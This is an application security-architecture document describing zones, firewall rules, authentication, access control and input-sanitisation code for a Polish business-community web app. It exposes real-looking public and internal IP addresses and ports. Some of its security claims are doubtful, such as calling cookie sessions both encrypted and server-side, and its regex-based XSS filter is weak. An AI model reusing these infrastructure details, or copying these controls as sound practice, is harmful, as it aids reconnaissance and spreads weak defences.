- Zmiana nazwy: "Norda Biznes Hub" → "Norda Biznes Partner" - Aktualizacja modelu AI: Gemini 2.0 Flash → Gemini 3 Flash - Zachowano historyczne odniesienia w timeline i dokumentacji Co-Authored-By: Claude Opus 4.5 <noreply@anthropic.com>
1828 lines
59 KiB
Markdown
1828 lines
59 KiB
Markdown
# Security Architecture
|
|
|
|
**Document Version:** 1.0
|
|
**Last Updated:** 2026-01-10
|
|
**Status:** Production LIVE
|
|
**Diagram Type:** Security Architecture / Threat Model
|
|
|
|
---
|
|
|
|
## Overview
|
|
|
|
This document provides a **comprehensive security architecture** for the Norda Biznes Partner application, covering:
|
|
|
|
- **Security Zones** and trust boundaries
|
|
- **Authentication & Authorization** mechanisms
|
|
- **Security Controls** (CSRF, rate limiting, input validation, etc.)
|
|
- **Threat Model** and attack surface analysis
|
|
- **Data Security** (encryption, sensitive data handling)
|
|
- **API Security** (external API integrations, API key management)
|
|
- **Infrastructure Security** (network, firewall, SSH access)
|
|
- **Security Monitoring** and incident response
|
|
- **Security Best Practices** and compliance
|
|
|
|
**Abstraction Level:** Security Architecture
|
|
**Audience:** Security Engineers, DevOps, Developers, System Administrators
|
|
**Purpose:** Understanding security boundaries, threat model, security controls, compliance verification
|
|
|
|
**Related Documentation:**
|
|
- [Authentication Flow](flows/01-authentication-flow.md) - Detailed authentication flow diagrams and implementation
|
|
- [Network Topology](07-network-topology.md) - Network zones and firewall rules
|
|
- [Container Diagram](02-container-diagram.md) - Application security boundaries
|
|
- [Critical Configurations](08-critical-configurations.md) - SSL/TLS, secrets management
|
|
|
|
---
|
|
|
|
## Table of Contents
|
|
|
|
1. [Security Zones & Trust Boundaries](#1-security-zones--trust-boundaries)
|
|
2. [Authentication Architecture](#2-authentication-architecture)
|
|
3. [Authorization Model](#3-authorization-model)
|
|
4. [Security Controls](#4-security-controls)
|
|
5. [Threat Model & Attack Surface](#5-threat-model--attack-surface)
|
|
6. [Data Security](#6-data-security)
|
|
7. [API Security](#7-api-security)
|
|
8. [Infrastructure Security](#8-infrastructure-security)
|
|
9. [Security Monitoring](#9-security-monitoring)
|
|
10. [Incident Response](#10-incident-response)
|
|
11. [Compliance & Best Practices](#11-compliance--best-practices)
|
|
12. [Security Roadmap](#12-security-roadmap)
|
|
|
|
---
|
|
|
|
## 1. Security Zones & Trust Boundaries
|
|
|
|
### 1.1 Security Zones Diagram
|
|
|
|
```mermaid
|
|
graph TB
|
|
subgraph "Zone 0: Public Internet (UNTRUSTED)"
|
|
Internet["🌐 Public Internet<br/><br/>Trust Level: NONE<br/>Access: Anonymous users<br/>Threat Level: HIGH<br/><br/>Threats:<br/>• DDoS attacks<br/>• SQL injection<br/>• XSS attacks<br/>• CSRF attacks<br/>• Brute force<br/>• Bot traffic"]
|
|
end
|
|
|
|
subgraph "Zone 1: Network Perimeter (SECURITY BOUNDARY)"
|
|
Fortigate["🛡️ FORTIGATE FIREWALL<br/><br/>Trust Level: BOUNDARY<br/>Controls:<br/>• NAT (85.237.177.83 → 10.22.68.250)<br/>• Port filtering (443, 80, 22)<br/>• Stateful inspection<br/>• DDoS protection<br/>• Intrusion prevention<br/><br/>Default Policy: DENY ALL"]
|
|
end
|
|
|
|
subgraph "Zone 2: DMZ - Reverse Proxy (SEMI-TRUSTED)"
|
|
DMZ["🖥️ NPM REVERSE PROXY<br/>IP: 10.22.68.250<br/><br/>Trust Level: LOW<br/>Controls:<br/>• SSL/TLS termination<br/>• HTTP → HTTPS redirect<br/>• Let's Encrypt certificates<br/>• Request filtering (block exploits)<br/>• WebSocket upgrade control<br/>• HSTS enforcement<br/><br/>Exposed Ports: 443, 80, 81 (admin)<br/>Allowed Outbound: App Zone only"]
|
|
end
|
|
|
|
subgraph "Zone 3: Application Zone (TRUSTED)"
|
|
AppZone["🖥️ APPLICATION SERVER<br/>IP: 10.22.68.249<br/><br/>Trust Level: MEDIUM<br/>Controls:<br/>• Flask-Login authentication<br/>• CSRF protection (Flask-WTF)<br/>• Rate limiting (Flask-Limiter)<br/>• Input sanitization<br/>• XSS prevention<br/>• SQL injection prevention (SQLAlchemy ORM)<br/>• Session security (secure cookies)<br/><br/>Exposed Ports: 5000 (internal), 22 (SSH)<br/>Allowed Outbound: Internet (APIs), Data Zone"]
|
|
end
|
|
|
|
subgraph "Zone 4: Data Zone (HIGHLY TRUSTED)"
|
|
DataZone["🗄️ DATABASE SERVER<br/>IP: 10.22.68.249:5432<br/><br/>Trust Level: HIGH<br/>Controls:<br/>• PostgreSQL authentication<br/>• Localhost-only binding (127.0.0.1)<br/>• Role-based access control<br/>• Connection encryption (SSL/TLS)<br/>• pg_hba.conf restrictions<br/>• Database user separation<br/><br/>Exposed Ports: 5432 (localhost only)<br/>Allowed Connections: Application Zone only"]
|
|
end
|
|
|
|
subgraph "Zone 5: External APIs (THIRD-PARTY)"
|
|
APIs["☁️ EXTERNAL APIs<br/><br/>Trust Level: THIRD-PARTY<br/>Services:<br/>• Google Gemini AI<br/>• Google PageSpeed Insights<br/>• Google Places API<br/>• Microsoft Graph API<br/>• Brave Search API<br/>• KRS Open API<br/><br/>Controls:<br/>• API key authentication<br/>• OAuth 2.0 (MS Graph)<br/>• HTTPS/TLS 1.2+ only<br/>• Rate limiting (client-side)<br/>• API key rotation<br/>• Cost tracking"]
|
|
end
|
|
|
|
Internet -->|"HTTPS :443<br/>HTTP :80"| Fortigate
|
|
Fortigate -->|"NAT + Filter<br/>Allow: 443, 80"| DMZ
|
|
DMZ -->|"HTTP :5000<br/>(internal network)"| AppZone
|
|
AppZone -->|"PostgreSQL :5432<br/>(localhost)"| DataZone
|
|
AppZone -->|"HTTPS<br/>(API requests)"| APIs
|
|
|
|
style Internet fill:#ff6b6b,color:#fff
|
|
style Fortigate fill:#f59e0b,color:#fff
|
|
style DMZ fill:#fbbf24,color:#000
|
|
style AppZone fill:#10b981,color:#fff
|
|
style DataZone fill:#3b82f6,color:#fff
|
|
style APIs fill:#8b5cf6,color:#fff
|
|
```
|
|
|
|
### 1.2 Trust Boundaries
|
|
|
|
| Boundary | Between Zones | Security Controls | Threat Mitigation |
|
|
|----------|---------------|-------------------|-------------------|
|
|
| **External → Perimeter** | Internet → Fortigate | NAT, port filtering, stateful firewall | DDoS, port scanning, unauthorized access |
|
|
| **Perimeter → DMZ** | Fortigate → NPM | Port restrictions (443, 80), SSL enforcement | Man-in-the-middle, protocol attacks |
|
|
| **DMZ → Application** | NPM → Flask | Internal network isolation, port 5000 only | Lateral movement, privilege escalation |
|
|
| **Application → Data** | Flask → PostgreSQL | Localhost-only binding, role-based access | SQL injection, unauthorized data access |
|
|
| **Application → Internet** | Flask → External APIs | HTTPS/TLS, API key authentication, rate limiting | API key theft, cost overrun, data leakage |
|
|
|
|
### 1.3 Network Segmentation
|
|
|
|
**Physical Segmentation:**
|
|
- **10.22.68.0/24** - Internal INPI network (RFC 1918 private addressing)
|
|
- **85.237.177.83** - Public IP (NAT at Fortigate)
|
|
|
|
**Logical Segmentation:**
|
|
- **DMZ:** 10.22.68.250 (reverse proxy only)
|
|
- **Application:** 10.22.68.249 (Flask app, no direct Internet access for incoming)
|
|
- **Data:** 10.22.68.249:5432 (localhost binding, no network exposure)
|
|
|
|
**Firewall Rules (Fortigate):**
|
|
```
|
|
# Inbound (WAN → LAN)
|
|
allow tcp/443 from ANY to 10.22.68.250 # HTTPS to NPM
|
|
allow tcp/80 from ANY to 10.22.68.250 # HTTP to NPM (redirects to HTTPS)
|
|
allow tcp/22 from ADMIN_NET to 10.22.68.249 # SSH (admin only)
|
|
deny all from ANY to ANY # Default deny
|
|
|
|
# Outbound (LAN → WAN)
|
|
allow tcp/443 from 10.22.68.249 to ANY # API calls (HTTPS)
|
|
allow tcp/80 from 10.22.68.249 to ANY # HTTP (rare, redirects)
|
|
deny all from 10.22.68.250 to ANY # NPM cannot initiate outbound (except Let's Encrypt)
|
|
```
|
|
|
|
### 1.4 Attack Surface
|
|
|
|
**External Attack Surface (Internet-facing):**
|
|
- NPM reverse proxy (10.22.68.250:443, :80)
|
|
- Public endpoints: `/`, `/search`, `/company/<slug>`, `/audit/*`
|
|
- Authentication endpoints: `/register`, `/login`, `/forgot-password`
|
|
|
|
**Internal Attack Surface (Authenticated users):**
|
|
- User dashboard: `/dashboard`, `/chat`, `/forum/*`, `/wiadomosci/*`
|
|
- API endpoints: `/api/chat/*`, `/api/notifications/*`
|
|
|
|
**Admin Attack Surface (Admin users only):**
|
|
- Admin panels: `/admin/*` (15+ panels)
|
|
- Audit management: `/api/seo/audit`, `/api/gbp/audit`, `/api/social/audit`
|
|
|
|
**Reduced Attack Surface:**
|
|
- PostgreSQL: Localhost-only binding (no network exposure)
|
|
- SSH: Restricted to admin network (firewall rule)
|
|
- NPM Admin UI: Port 81 (internal network only)
|
|
|
|
---
|
|
|
|
## 2. Authentication Architecture
|
|
|
|
### 2.1 Authentication Overview
|
|
|
|
**Framework:** Flask-Login
|
|
**Password Hashing:** PBKDF2:SHA256 (werkzeug.security)
|
|
**Session Storage:** Server-side session cookies
|
|
**Email Verification:** Required before login
|
|
**Email Delivery:** Microsoft Graph API (OAuth 2.0)
|
|
|
|
> **NOTE:** For detailed authentication flows (registration, login, email verification, password reset, session management), see:
|
|
> [Authentication Flow Documentation](flows/01-authentication-flow.md)
|
|
|
|
### 2.2 Authentication Security Architecture
|
|
|
|
```mermaid
|
|
graph TB
|
|
subgraph "Authentication Layer"
|
|
User["👤 User"]
|
|
Browser["🌐 Browser"]
|
|
|
|
subgraph "Flask Authentication Stack"
|
|
FlaskLogin["Flask-Login<br/>(Session Management)"]
|
|
CSRF["Flask-WTF<br/>(CSRF Protection)"]
|
|
RateLimit["Flask-Limiter<br/>(Rate Limiting)"]
|
|
Sanitize["Input Sanitization<br/>(XSS Prevention)"]
|
|
end
|
|
|
|
subgraph "User Model & Database"
|
|
UserModel["User Model<br/>(SQLAlchemy)"]
|
|
PostgreSQL["PostgreSQL<br/>(users table)"]
|
|
end
|
|
|
|
subgraph "Password Security"
|
|
Hash["Password Hashing<br/>(PBKDF2:SHA256)"]
|
|
TokenGen["Token Generation<br/>(secrets.token_urlsafe)"]
|
|
end
|
|
|
|
subgraph "Email Verification"
|
|
EmailService["Email Service<br/>(email_service.py)"]
|
|
MSGraph["Microsoft Graph API<br/>(OAuth 2.0)"]
|
|
end
|
|
end
|
|
|
|
User -->|"Login Request"| Browser
|
|
Browser -->|"POST /login"| CSRF
|
|
CSRF -->|"CSRF Valid"| RateLimit
|
|
RateLimit -->|"Rate OK"| Sanitize
|
|
Sanitize -->|"Sanitized Input"| FlaskLogin
|
|
FlaskLogin -->|"Query User"| UserModel
|
|
UserModel -->|"SELECT * FROM users"| PostgreSQL
|
|
PostgreSQL -->|"User Data"| Hash
|
|
Hash -->|"check_password_hash()"| FlaskLogin
|
|
FlaskLogin -->|"login_user()"| Browser
|
|
|
|
Browser -->|"POST /register"| TokenGen
|
|
TokenGen -->|"Generate Token"| PostgreSQL
|
|
PostgreSQL -->|"User Created"| EmailService
|
|
EmailService -->|"Send Email (OAuth)"| MSGraph
|
|
|
|
style CSRF fill:#f59e0b,color:#fff
|
|
style RateLimit fill:#f59e0b,color:#fff
|
|
style Sanitize fill:#f59e0b,color:#fff
|
|
style Hash fill:#3b82f6,color:#fff
|
|
style TokenGen fill:#3b82f6,color:#fff
|
|
```
|
|
|
|
### 2.3 Session Security
|
|
|
|
**Session Configuration:**
|
|
```python
|
|
# app.py session settings
|
|
app.config['SECRET_KEY'] = os.getenv('SECRET_KEY') # 256-bit secret
|
|
app.config['PERMANENT_SESSION_LIFETIME'] = timedelta(days=7)
|
|
app.config['SESSION_COOKIE_SECURE'] = True # HTTPS only
|
|
app.config['SESSION_COOKIE_HTTPONLY'] = True # No JS access
|
|
app.config['SESSION_COOKIE_SAMESITE'] = 'Lax' # CSRF protection
|
|
```
|
|
|
|
**Session Cookie Attributes:**
|
|
- **Name:** `session` (Flask default)
|
|
- **Secure:** True (HTTPS only in production)
|
|
- **HttpOnly:** True (prevents XSS cookie theft)
|
|
- **SameSite:** Lax (CSRF protection)
|
|
- **Max-Age:** 7 days (with "remember me")
|
|
- **Signed:** Yes (HMAC with SECRET_KEY)
|
|
- **Encrypted:** Yes (Flask built-in)
|
|
|
|
**Session Lifecycle:**
|
|
1. **Creation:** On successful login (`login_user()`)
|
|
2. **Validation:** On every request (`@login_required`)
|
|
3. **Regeneration:** On login (prevents session fixation)
|
|
4. **Expiration:** After 7 days or on logout
|
|
5. **Destruction:** On logout (`logout_user()`)
|
|
|
|
**Session Security Features:**
|
|
- Session fixation prevention (regenerate session ID on login)
|
|
- CSRF protection via Flask-WTF (automatic token generation)
|
|
- Secure cookie attributes (HttpOnly, Secure, SameSite)
|
|
- Server-side session storage (encrypted data)
|
|
- Automatic session cleanup (expired sessions removed)
|
|
|
|
### 2.4 Password Security
|
|
|
|
**Password Requirements:**
|
|
- Minimum 8 characters
|
|
- At least 1 uppercase letter
|
|
- At least 1 lowercase letter
|
|
- At least 1 digit
|
|
|
|
**Password Hashing:**
|
|
- **Algorithm:** PBKDF2:SHA256 (werkzeug.security default)
|
|
- **Iterations:** 600,000+ (werkzeug 3.0+ default)
|
|
- **Salt:** Automatic (random salt per password)
|
|
- **Hash Storage:** `users.password_hash` column (VARCHAR 255)
|
|
|
|
**Password Reset Flow:**
|
|
- Reset tokens: 256-bit entropy (`secrets.token_urlsafe(32)`)
|
|
- Token expiry: 1 hour
|
|
- Single-use tokens (cleared after successful reset)
|
|
- Email enumeration prevention (always show success message)
|
|
|
|
**Password Best Practices:**
|
|
- ✅ Strong hashing algorithm (PBKDF2:SHA256)
|
|
- ✅ Password complexity requirements
|
|
- ✅ Secure token generation
|
|
- ✅ Token expiry enforcement
|
|
- ❌ Password history (not implemented)
|
|
- ❌ Account lockout after N failed attempts (not implemented)
|
|
|
|
---
|
|
|
|
## 3. Authorization Model
|
|
|
|
### 3.1 Role-Based Access Control (RBAC)
|
|
|
|
```mermaid
|
|
graph TB
|
|
subgraph "Authorization Hierarchy"
|
|
Public["🌐 Public<br/>Anonymous Users<br/><br/>Permissions:<br/>• View company directory<br/>• Search companies<br/>• View audit reports<br/>• Access registration/login"]
|
|
|
|
Auth["🔐 Authenticated<br/>Logged-in Users<br/><br/>Permissions:<br/>• All Public permissions<br/>• Access dashboard<br/>• Use AI chat<br/>• Participate in forum<br/>• Send/receive messages<br/>• RSVP to events<br/>• Post classifieds"]
|
|
|
|
Member["👔 NORDA Members<br/>is_norda_member=TRUE<br/><br/>Permissions:<br/>• All Authenticated permissions<br/>• Company profile editing (own)<br/>• Request recommendations<br/>• View member directory<br/>• Access member-only content"]
|
|
|
|
Admin["👨💼 Administrators<br/>is_admin=TRUE<br/><br/>Permissions:<br/>• All Member permissions<br/>• Manage all companies<br/>• Moderate forum/news<br/>• Manage users<br/>• Run audit scans<br/>• View analytics<br/>• Generate fees<br/>• System configuration"]
|
|
end
|
|
|
|
Public --> Auth
|
|
Auth --> Member
|
|
Member --> Admin
|
|
|
|
style Public fill:#9ca3af,color:#fff
|
|
style Auth fill:#10b981,color:#fff
|
|
style Member fill:#3b82f6,color:#fff
|
|
style Admin fill:#8b5cf6,color:#fff
|
|
```
|
|
|
|
### 3.2 User Roles & Flags
|
|
|
|
**User Model Fields:**
|
|
```sql
|
|
is_active BOOLEAN DEFAULT TRUE -- User account status
|
|
is_verified BOOLEAN DEFAULT FALSE -- Email verification status
|
|
is_admin BOOLEAN DEFAULT FALSE -- Administrator flag
|
|
is_norda_member BOOLEAN DEFAULT FALSE -- NORDA Biznes membership
|
|
```
|
|
|
|
**Role Determination Logic:**
|
|
```python
|
|
# Public access - no check required
|
|
|
|
# Authenticated access
|
|
@login_required
|
|
def protected_route():
|
|
# current_user is automatically available via Flask-Login
|
|
pass
|
|
|
|
# NORDA Member access
|
|
@login_required
|
|
def member_route():
|
|
if not current_user.is_norda_member:
|
|
flash('Tylko dla członków NORDA Biznes.', 'error')
|
|
return redirect(url_for('index'))
|
|
pass
|
|
|
|
# Admin access
|
|
@login_required
|
|
def admin_route():
|
|
if not current_user.is_admin:
|
|
flash('Brak uprawnień administratora.', 'error')
|
|
return redirect(url_for('index'))
|
|
pass
|
|
```
|
|
|
|
### 3.3 Access Control Matrix
|
|
|
|
| Route Category | Public | Authenticated | NORDA Member | Admin |
|
|
|---------------|--------|---------------|--------------|-------|
|
|
| **Public Pages** | | | | |
|
|
| `/` (Company directory) | ✅ | ✅ | ✅ | ✅ |
|
|
| `/search` | ✅ | ✅ | ✅ | ✅ |
|
|
| `/company/<slug>` | ✅ | ✅ | ✅ | ✅ |
|
|
| `/audit/*/<slug>` (SEO, Social, GBP, IT) | ✅ | ✅ | ✅ | ✅ |
|
|
| `/api/companies` (JSON export) | ✅ | ✅ | ✅ | ✅ |
|
|
| `/health` (Health check) | ✅ | ✅ | ✅ | ✅ |
|
|
| **Authentication** | | | | |
|
|
| `/register`, `/login` | ✅ | ❌ | ❌ | ❌ |
|
|
| `/logout` | ❌ | ✅ | ✅ | ✅ |
|
|
| `/verify-email/<token>` | ✅ | ✅ | ✅ | ✅ |
|
|
| `/forgot-password`, `/reset-password/<token>` | ✅ | ✅ | ✅ | ✅ |
|
|
| **User Features** | | | | |
|
|
| `/dashboard` | ❌ | ✅ | ✅ | ✅ |
|
|
| `/chat` | ❌ | ✅ | ✅ | ✅ |
|
|
| `/api/chat/*` | ❌ | ✅ | ✅ | ✅ |
|
|
| **Community Features** | | | | |
|
|
| `/forum/*` | ❌ | ✅ | ✅ | ✅ |
|
|
| `/wiadomosci/*` (Messages) | ❌ | ✅ | ✅ | ✅ |
|
|
| `/kalendarz/*` (Events) | ❌ | ✅ | ✅ | ✅ |
|
|
| `/tablica/*` (Classifieds) | ❌ | ✅ | ✅ | ✅ |
|
|
| **Admin Panels** | | | | |
|
|
| `/admin/*` (All admin routes) | ❌ | ❌ | ❌ | ✅ |
|
|
| `/admin/users` (User management) | ❌ | ❌ | ❌ | ✅ |
|
|
| `/admin/fees` (Fee management) | ❌ | ❌ | ❌ | ✅ |
|
|
| `/admin/forum` (Forum moderation) | ❌ | ❌ | ❌ | ✅ |
|
|
| `/admin/seo` (SEO dashboard) | ❌ | ❌ | ❌ | ✅ |
|
|
| `/admin/gbp-audit` (GBP dashboard) | ❌ | ❌ | ❌ | ✅ |
|
|
| `/admin/social-media` (Social dashboard) | ❌ | ❌ | ❌ | ✅ |
|
|
| `/admin/it-audit` (IT dashboard) | ❌ | ❌ | ❌ | ✅ |
|
|
| **Admin API Endpoints** | | | | |
|
|
| `/api/seo/audit` (POST) | ❌ | ❌ | ❌ | ✅ |
|
|
| `/api/gbp/audit` (POST) | ❌ | ❌ | ❌ | ✅ |
|
|
| `/api/social/audit` (POST) | ❌ | ❌ | ❌ | ✅ |
|
|
| `/api/notifications` (GET) | ❌ | ✅ | ✅ | ✅ |
|
|
| `/api/notifications/<id>/read` (PUT) | ❌ | ✅ | ✅ | ✅ |
|
|
|
|
**Legend:**
|
|
- ✅ Access granted
|
|
- ❌ Access denied (redirect to login or show error)
|
|
|
|
### 3.4 Authorization Enforcement
|
|
|
|
**Decorator-based Protection:**
|
|
```python
|
|
# Flask-Login decorator for authenticated routes
|
|
@app.route('/dashboard')
|
|
@login_required
|
|
def dashboard():
|
|
# current_user is guaranteed to be authenticated
|
|
return render_template('dashboard.html', user=current_user)
|
|
```
|
|
|
|
**Manual Authorization Checks:**
|
|
```python
|
|
# Admin-only check
|
|
@app.route('/admin/users')
|
|
@login_required
|
|
def admin_users():
|
|
if not current_user.is_admin:
|
|
flash('Brak uprawnień administratora.', 'error')
|
|
return redirect(url_for('index'))
|
|
|
|
# Admin logic here
|
|
users = db.query(User).all()
|
|
return render_template('admin/users.html', users=users)
|
|
```
|
|
|
|
**Row-Level Security (Planned):**
|
|
- Company owners can edit only their own company profile
|
|
- Forum authors can edit/delete only their own posts
|
|
- Message senders/receivers can view only their own messages
|
|
|
|
**Current Limitations:**
|
|
- ❌ No granular permissions (e.g., "can_edit_company", "can_moderate_forum")
|
|
- ❌ No role hierarchy (custom roles beyond Admin/Member)
|
|
- ❌ No permission delegation (temporary admin access)
|
|
|
|
---
|
|
|
|
## 4. Security Controls
|
|
|
|
### 4.1 Security Controls Overview
|
|
|
|
```mermaid
|
|
graph LR
|
|
subgraph "Input Security"
|
|
Input["User Input"]
|
|
Sanitize["Input Sanitization<br/>(sanitize_input)"]
|
|
Validate["Input Validation<br/>(length, format, type)"]
|
|
end
|
|
|
|
subgraph "Request Security"
|
|
CSRF["CSRF Protection<br/>(Flask-WTF)"]
|
|
RateLimit["Rate Limiting<br/>(Flask-Limiter)"]
|
|
Auth["Authentication<br/>(Flask-Login)"]
|
|
end
|
|
|
|
subgraph "Response Security"
|
|
XSS["XSS Prevention<br/>(Jinja2 auto-escape)"]
|
|
Headers["Security Headers<br/>(HSTS, CSP, X-Frame)"]
|
|
SSL["SSL/TLS Encryption<br/>(HTTPS)"]
|
|
end
|
|
|
|
subgraph "Data Security"
|
|
SQLInj["SQL Injection Prevention<br/>(SQLAlchemy ORM)"]
|
|
PassHash["Password Hashing<br/>(PBKDF2:SHA256)"]
|
|
Secrets["Secrets Management<br/>(.env files)"]
|
|
end
|
|
|
|
Input --> Sanitize
|
|
Sanitize --> Validate
|
|
Validate --> CSRF
|
|
CSRF --> RateLimit
|
|
RateLimit --> Auth
|
|
Auth --> XSS
|
|
XSS --> Headers
|
|
Headers --> SSL
|
|
|
|
Auth --> SQLInj
|
|
SQLInj --> PassHash
|
|
PassHash --> Secrets
|
|
|
|
style Sanitize fill:#f59e0b,color:#fff
|
|
style CSRF fill:#f59e0b,color:#fff
|
|
style RateLimit fill:#f59e0b,color:#fff
|
|
style XSS fill:#f59e0b,color:#fff
|
|
style SQLInj fill:#3b82f6,color:#fff
|
|
style PassHash fill:#3b82f6,color:#fff
|
|
```
|
|
|
|
### 4.2 Input Security
|
|
|
|
#### 4.2.1 Input Sanitization
|
|
|
|
**Function:** `sanitize_input(text, max_length=1000)`
|
|
**Purpose:** Remove HTML tags, malicious patterns, excessive whitespace
|
|
**Implementation:** `app.py` (lines ~300-320)
|
|
|
|
```python
|
|
def sanitize_input(text, max_length=1000):
|
|
"""Remove HTML tags and malicious patterns from user input"""
|
|
if not text:
|
|
return ""
|
|
|
|
# Remove HTML tags
|
|
text = re.sub(r'<[^>]+>', '', text)
|
|
|
|
# Remove script tags and content
|
|
text = re.sub(r'<script[^>]*>.*?</script>', '', text, flags=re.IGNORECASE | re.DOTALL)
|
|
|
|
# Remove event handlers (onclick, onerror, etc.)
|
|
text = re.sub(r'\s*on\w+\s*=\s*["\'][^"\']*["\']', '', text, flags=re.IGNORECASE)
|
|
|
|
# Remove javascript: URLs
|
|
text = re.sub(r'javascript:', '', text, flags=re.IGNORECASE)
|
|
|
|
# Normalize whitespace
|
|
text = ' '.join(text.split())
|
|
|
|
# Truncate to max length
|
|
return text[:max_length]
|
|
```
|
|
|
|
**Applied to:**
|
|
- All form inputs (registration, login, forum posts, messages, classifieds)
|
|
- Search queries
|
|
- Chat messages
|
|
- Admin inputs
|
|
|
|
**XSS Prevention:**
|
|
- Jinja2 automatic escaping (enabled by default)
|
|
- Manual escaping for user-generated content: `{{ user_input|e }}`
|
|
- Sanitization before database storage (defense in depth)
|
|
|
|
#### 4.2.2 Input Validation
|
|
|
|
**Email Validation:**
|
|
```python
|
|
def validate_email(email):
|
|
"""Validate email format"""
|
|
pattern = r'^[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}$'
|
|
return re.match(pattern, email) is not None
|
|
```
|
|
|
|
**Password Validation:**
|
|
```python
|
|
def validate_password(password):
|
|
"""Validate password complexity"""
|
|
if len(password) < 8:
|
|
return False, "Hasło musi mieć minimum 8 znaków"
|
|
|
|
if not re.search(r'[A-Z]', password):
|
|
return False, "Hasło musi zawierać wielką literę"
|
|
|
|
if not re.search(r'[a-z]', password):
|
|
return False, "Hasło musi zawierać małą literę"
|
|
|
|
if not re.search(r'\d', password):
|
|
return False, "Hasło musi zawierać cyfrę"
|
|
|
|
return True, ""
|
|
```
|
|
|
|
**NIP Validation:**
|
|
```python
|
|
def validate_nip(nip):
|
|
"""Validate Polish NIP format (10 digits)"""
|
|
if not nip:
|
|
return False
|
|
|
|
nip = nip.replace('-', '').replace(' ', '')
|
|
return len(nip) == 10 and nip.isdigit()
|
|
```
|
|
|
|
**Input Length Limits:**
|
|
- Email: 255 characters
|
|
- Password: 255 characters (hash stored)
|
|
- Name: 255 characters
|
|
- Phone: 50 characters
|
|
- Message body: 5,000 characters
|
|
- Forum post: 10,000 characters
|
|
- Chat message: 1,000 characters
|
|
|
|
### 4.3 Request Security
|
|
|
|
#### 4.3.1 CSRF Protection
|
|
|
|
**Framework:** Flask-WTF
|
|
**Implementation:** Automatic CSRF token generation and validation
|
|
|
|
**Configuration:**
|
|
```python
|
|
# app.py CSRF setup
|
|
from flask_wtf.csrf import CSRFProtect
|
|
|
|
csrf = CSRFProtect(app)
|
|
app.config['WTF_CSRF_ENABLED'] = True
|
|
app.config['WTF_CSRF_TIME_LIMIT'] = None # No time limit (session-based)
|
|
```
|
|
|
|
**Usage in Templates:**
|
|
```html
|
|
<form method="POST">
|
|
{{ csrf_token() }} <!-- Automatic token injection -->
|
|
<input type="email" name="email" required>
|
|
<button type="submit">Submit</button>
|
|
</form>
|
|
```
|
|
|
|
**AJAX Requests:**
|
|
```javascript
|
|
// Get CSRF token from meta tag
|
|
const csrfToken = document.querySelector('meta[name="csrf-token"]').content;
|
|
|
|
// Include in AJAX request headers
|
|
fetch('/api/endpoint', {
|
|
method: 'POST',
|
|
headers: {
|
|
'X-CSRFToken': csrfToken,
|
|
'Content-Type': 'application/json'
|
|
},
|
|
body: JSON.stringify(data)
|
|
});
|
|
```
|
|
|
|
**CSRF Protection Coverage:**
|
|
- ✅ All POST/PUT/DELETE requests
|
|
- ✅ Form submissions
|
|
- ✅ AJAX API calls
|
|
- ❌ GET requests (idempotent, no CSRF protection needed)
|
|
|
|
#### 4.3.2 Rate Limiting
|
|
|
|
**Framework:** Flask-Limiter
|
|
**Strategy:** IP-based rate limiting
|
|
|
|
**Configuration:**
|
|
```python
|
|
# app.py rate limiting setup
|
|
from flask_limiter import Limiter
|
|
from flask_limiter.util import get_remote_address
|
|
|
|
limiter = Limiter(
|
|
app=app,
|
|
key_func=get_remote_address,
|
|
default_limits=["200 per day", "50 per hour"],
|
|
storage_uri="memory://" # In-memory storage (single server)
|
|
)
|
|
```
|
|
|
|
**Rate Limits by Endpoint:**
|
|
|
|
| Endpoint | Rate Limit | Purpose |
|
|
|----------|------------|---------|
|
|
| `/register` | 5 per hour | Prevent account spam |
|
|
| `/login` | 5 per hour (prod)<br/>1000 per hour (dev) | Prevent brute force |
|
|
| `/forgot-password` | 5 per hour | Prevent email spam |
|
|
| `/api/chat/<id>/message` | 30 per minute | Prevent chat spam |
|
|
| `/api/seo/audit` | 10 per hour | Prevent quota abuse |
|
|
| `/api/gbp/audit` | 10 per hour | Prevent quota abuse |
|
|
| `/api/social/audit` | 10 per hour | Prevent quota abuse |
|
|
| Default | 200 per day, 50 per hour | General protection |
|
|
|
|
**Rate Limit Bypass:**
|
|
- No bypass mechanism (applies to all users, including admins)
|
|
- Future improvement: Whitelist admin IPs
|
|
|
|
**Error Handling:**
|
|
```python
|
|
@app.errorhandler(429)
|
|
def ratelimit_handler(e):
|
|
flash('Zbyt wiele żądań. Spróbuj ponownie później.', 'error')
|
|
return render_template('error.html', error=e), 429
|
|
```
|
|
|
|
### 4.4 Response Security
|
|
|
|
#### 4.4.1 Security Headers
|
|
|
|
**HTTP Security Headers (Configured in NPM):**
|
|
|
|
```
|
|
# HSTS (HTTP Strict Transport Security)
|
|
Strict-Transport-Security: max-age=31536000; includeSubDomains
|
|
|
|
# Prevent clickjacking
|
|
X-Frame-Options: SAMEORIGIN
|
|
|
|
# XSS Protection (legacy browsers)
|
|
X-XSS-Protection: 1; mode=block
|
|
|
|
# Content-Type sniffing prevention
|
|
X-Content-Type-Options: nosniff
|
|
|
|
# Referrer Policy
|
|
Referrer-Policy: strict-origin-when-cross-origin
|
|
|
|
# Content Security Policy (CSP) - PLANNED
|
|
# Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline'; style-src 'self' 'unsafe-inline';
|
|
```
|
|
|
|
**Current Status:**
|
|
- ✅ HSTS enabled (NPM configuration)
|
|
- ✅ X-Frame-Options: SAMEORIGIN
|
|
- ✅ X-Content-Type-Options: nosniff
|
|
- ❌ Content-Security-Policy (not yet implemented - requires frontend refactoring)
|
|
|
|
#### 4.4.2 SSL/TLS Encryption
|
|
|
|
**Configuration:**
|
|
- **Certificate Provider:** Let's Encrypt (free, auto-renewal)
|
|
- **Certificate Type:** RSA 2048-bit
|
|
- **TLS Protocols:** TLS 1.2, TLS 1.3 only
|
|
- **HTTP → HTTPS Redirect:** Enforced at NPM
|
|
- **HSTS:** Enabled (max-age=31536000)
|
|
|
|
**Cipher Suites (Modern):**
|
|
```
|
|
TLS_AES_128_GCM_SHA256
|
|
TLS_AES_256_GCM_SHA384
|
|
TLS_CHACHA20_POLY1305_SHA256
|
|
ECDHE-RSA-AES128-GCM-SHA256
|
|
ECDHE-RSA-AES256-GCM-SHA384
|
|
```
|
|
|
|
**SSL Termination:** At NPM reverse proxy (10.22.68.250)
|
|
**Internal Communication:** HTTP (10.22.68.250 → 10.22.68.249:5000)
|
|
|
|
**Certificate Renewal:**
|
|
- Automatic via NPM + Let's Encrypt
|
|
- Renewal frequency: Every 90 days
|
|
- Grace period: 30 days before expiry
|
|
|
|
